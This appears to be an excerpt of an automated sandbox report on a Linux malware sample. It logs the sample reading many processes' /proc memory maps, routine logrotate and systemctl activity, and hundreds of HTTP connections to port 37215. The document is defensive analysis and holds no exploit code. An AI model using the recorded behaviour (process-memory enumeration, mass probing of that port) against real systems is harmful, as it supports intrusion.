Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1638/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1809/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1494/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1890/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2063/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2062/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1888/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1886/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/420/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1489/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/785/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1642/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/788/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/667/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/789/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1648/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2078/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2077/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2074/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/670/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1656/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1654/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1532/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/796/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/675/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/797/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/676/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/677/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2069/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2102/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/799/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2080/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2084/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2083/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1668/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1664/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1389/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/840/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/720/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2114/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/721/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/1661/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2079/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/847/maps	Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6322)	File opened: /proc/2097/maps	Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 6267)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 6272)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6276)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 6281)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

Source: /usr/sbin/logrotate (PID: 6264)	Shell command executed: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6274)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6279)	Shell command executed: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/mail.info/var/log/mail.warn/var/log/mail.err/var/log/mail.log/var/log/daemon.log/var/log/kern.log/var/log/auth.log/var/log/user.log/var/log/lpr.log/var/log/cron.log/var/log/debug/var/log/messages	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 56630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 42518
Source: unknown	Network traffic detected: HTTP traffic on port 45500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59152 -> 37215
